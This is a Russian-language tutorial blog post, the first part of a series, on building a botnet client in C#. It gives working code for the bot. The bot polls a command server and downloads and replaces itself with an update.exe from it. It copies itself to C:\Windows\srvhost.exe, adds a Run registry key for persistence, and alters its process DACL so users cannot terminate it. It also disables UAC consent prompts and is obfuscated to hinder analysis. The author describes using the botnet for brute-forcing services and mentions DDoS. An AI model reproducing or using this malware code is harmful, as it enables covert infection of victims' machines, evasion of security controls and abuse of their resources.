Обучение
Life-HackЧасть-1
Добрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.
Ну что, пожалуй сразу к делу?
Ботнет будем строить на языке C# - так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.
Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)
Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).
Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.
Миф 2: Ботнет обязательно для DDOS – атак.
Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать
Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.
Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.
Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.
Пожалуй, хватит разговоров, пора к делу:
Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Понеслась….
Создаем новый консольный проект.
Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).
А вот теперь переходим в вопросы архитектуры.
Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.
Далее код, для начала создадим заглушку на командном сервере (index.php).
<?php
echo 'update';
Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
public class FileManager : IFileManager { public string GetCommandByUrl(string url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); return new StreamReader(response.GetResponseStream()).ReadToEnd(); } }
А в программу добавим
private static string _url = @"URL/index.php"; (тут наша заглушка пока) private const int interval = 10000; // 1000 seconds ~ 16 minutes while (true) { Thread.Sleep(interval); var command = _fileService.GetCommandByUrl(_url); if (command.Equals("update")) { WebClient myWebClient = new WebClient(); myWebClient.DownloadFile(_url, "update.exe"); _fileService.RemoveFile(); _fileService.CopyFile("update.exe"); } }
Профит:
Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод
public void CopyFile(string fileName = "") { if (String.IsNullOrEmpty(fileName)) { fileName = Assembly.GetExecutingAssembly().Location; return; } File.Copy(fileName, @"C:\Windows\srvhost.exe"); } void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Добавляем в Program.cs
public static void Main(string[] args) { IFileManager _fileService = new FileManager(); _fileService.CopyFile(); RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
public class ProcessManager { [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor, uint nLength, out uint lpnLengthNeeded); public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { const int DACL_SECURITY_INFORMATION = 0x00000004; byte[] psd = new byte[0]; uint bufSizeNeeded; // Call with 0 size to obtain the actual size needed in bufSizeNeeded GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); // Allocate the required bytes and obtain the DACL if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes: return new RawSecurityDescriptor(psd, 0); } [DllImport("advapi32.dll", SetLastError = true)] static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor); public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl) { const int DACL_SECURITY_INFORMATION = 0x00000004; byte[] rawsd = new byte[dacl.BinaryLength]; dacl.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [Flags] public enum ProcessAccessRights { PROCESS_CREATE_PROCESS = 0x0080, // Required to create a process. PROCESS_CREATE_THREAD = 0x0002, // Required to create a thread. PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle. PROCESS_QUERY_INFORMATION = 0x0400, // Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob). PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, // Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000: This access right is not supported. PROCESS_SET_INFORMATION = 0x0200, // Required to set certain information about a process, such as its priority class (see SetPriorityClass). PROCESS_SET_QUOTA = 0x0100, // Required to set memory limits using SetProcessWorkingSetSize. PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process. PROCESS_TERMINATE = 0x0001, // Required to terminate a process using TerminateProcess. PROCESS_VM_OPERATION = 0x0008, // Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory). PROCESS_VM_READ = 0x0010, // Required to read memory in a process using ReadProcessMemory. PROCESS_VM_WRITE = 0x0020, // Required to write to memory in a process using WriteProcessMemory. DELETE = 0x00010000, // Required to delete the object. READ_CONTROL = 0x00020000, // Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right. SYNCHRONIZE = 0x00100000, // The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state. WRITE_DAC = 0x00040000, // Required to modify the DACL in the security descriptor for the object. WRITE_OWNER = 0x00080000, // Required to change the owner in the security descriptor for the object. STANDARD_RIGHTS_REQUIRED = 0x000f0000, PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),// All possible access rights for a process object. } public void block() { // Get the current process handle IntPtr hProcess = GetCurrentProcess(); // Read the DACL var dacl = GetProcessSecurityDescriptor(hProcess); // Insert the new ACE dacl.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null) ); // Save the DACL SetProcessSecurityDescriptor(hProcess, dacl); } }
Теперь наш процесс сможет убить только опытный пользователь.
Профит: При нажатии на кнопку снять задачу получаем.
Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree; Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" , readWriteSubTree); key.SetValue("ConsentPromptBehaviorAdmin", 0);
Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.
Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
if (command.Equals("update")) { WebClient myWebClient = new WebClient(); myWebClient.DownloadFile(_url, "update.exe"); _fileService.RemoveFile(); _fileService.CopyFile("update.exe"); }
Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.
Сравним обфусцированный и необфусцированный билды
Видим как билд палится без проблем
Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek
Всем спасибо. На этом всё. Продолжение вечером. Источник